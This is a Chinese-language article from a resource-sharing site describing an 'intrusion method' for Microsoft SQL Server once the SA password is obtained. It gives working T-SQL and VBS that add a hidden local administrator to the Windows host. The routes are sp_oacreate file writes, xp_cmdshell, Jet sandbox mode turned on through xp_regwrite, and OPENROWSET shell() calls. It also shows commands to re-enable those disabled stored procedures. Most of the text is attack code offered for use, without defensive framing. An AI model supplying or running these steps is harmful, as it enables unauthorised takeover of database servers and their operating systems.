也想出现在这里? 联系我们

Microsoft SQL Server SA权限最新入侵方法

作者 : 小编 本文共2724个字,预计阅读时间需要7分钟 发布时间: 2021-06-2 共3.36K人阅读
也想出现在这里? 联系我们

在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下:

set wsnetwork=CreateObject("WSCRIPT.NETWORK")

os="WinNT://"&wsnetwork.ComputerName

Set ob=GetObject(os) \’得到adsi接口,绑定

Set oe=GetObject(os&"/Administrators,group") \’属性,admin组

Set od=ob.Create("user","test") \’建立用户

od.SetPassword "1234" \’设置密码

od.SetInfo \’保存

Set of=GetObject(os&"/test",user) \’得到用户

oe.add os&"/test"

将上面的代码保存为1.vbs,然后执行,命令为“cscript 1.vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下:

declare @o int, @f int, @t int, @ret int

exec sp_oacreate \’scripting.filesystemobject\’, @o out

exec sp_oamethod @o, \’createtextfile\’, @f out, \’c:\\1.vbs\’, 1

exec @ret = sp_oamethod @f, \’writeline\’, NULL,\’set wsnetwork=CreateObject

("WSCRIPT.NETWORK")\’

exec @ret = sp_oamethod @f, \’writeline\’, NULL,\’os="WinNT://"&wsnetwork.

ComputerName\’

exec @ret = sp_oamethod @f, \’writeline\’, NULL,\’Set ob=GetObject(os)\’

exec @ret = sp_oamethod @f, \’writeline\’, NULL,\’Set oe=GetObject

(os&"/Administrators,group")\’

exec @ret = sp_oamethod @f, \’writeline\’, NULL,\’Set od=ob.Create

("user","test")\’

exec @ret = sp_oamethod @f, \’writeline\’, NULL,\’od.SetPassword "1234"\’

exec @ret = sp_oamethod @f, \’writeline\’, NULL,\’od.SetInfo \’

exec @ret = sp_oamethod @f, \’writeline\’, NULL,\’Set of=GetObject

(os&"/test",user) \’

exec @ret = sp_oamethod @f, \’writeline\’, NULL,\’oe.add os&"/test"\’

执行完上面的语句,再执行下面这行代码,这行代码一定单独执行,不要与上面的放在一起执行,否则会提示“c:\\1.vbs正被另一个程序运行”而无法成功添加用户:

exec master..xp_cmdshell \’cscript c:\\1.vbs\’

如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。也可以使用echo将代码写到1.vbs中,代码格式为:

exec master..xp_cmdshell \’echo set wsnetwork=CreateObject("WSCRIPT.NETWORK")

>>1.vbs\’

不过,不知道为什么所有带“&”字符的命令行都无法写入1.vbs,感兴趣的朋友可以尝试解决一下。

使用jet沙盘模式,可以解决XP_cmdshell等存储过程和相关动态链接库带来的烦恼。出于安全原因,系统默认情况下沙盘模式未开启,这就需要xp_regwrite开启沙盘模式:

Exec master.dbo.xp_regwrite \’HKEY_LOCAL_MACHINE\’,\’SOFTWARE\\Microsoft\\Jet\\4.0

\\Engines\’,\’SandBoxMode\’,\’REG_DWORD\’,1

然后执行沙盘命令,在系统添加一个用户名为test,密码为1234的用户:

select * from openrowset(\’microsoft.jet.oledb.4.0\’,\’;database=c:\\windows

\\system32\\ias\\ias.mdb\’,\’select shell("cmd.exe /c net user test 1234 /add")\’)

select * from openrowset(\’microsoft.jet.oledb.4.0\’,\’;database=c:\\windows

\\system32\\ias\\ias.mdb\’,\’select shell("cmd.exe /c net localgroup

administrators test /add")\’)

不同的操作系统,路径也不一样,需要根据情况做修改:

NT/2K: c:\\winnt\\system32\\

XP/2003: c:\\windows\\system32\\

另外Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开:

开启XP_cmdshell:

EXEC sp_configure \’show advanced options\’, 1;RECONFIGURE;EXEC sp_configure

\’xp_cmdshell\’, 1;RECONFIGURE;

开启\’OPENROWSET\’:

exec sp_configure \’show advanced options\’, 1;RECONFIGURE;exec sp_configure

\’Ad Hoc Distributed Queries\’,1;RECONFIGURE;

开启\’sp_oacreate\’:

exec sp_configure \’show advanced options\’, 1;RECONFIGURE;exec sp_configure

\’Ole Automation Procedures\’,1;RECONFIGURE;

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » Microsoft SQL Server SA权限最新入侵方法

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录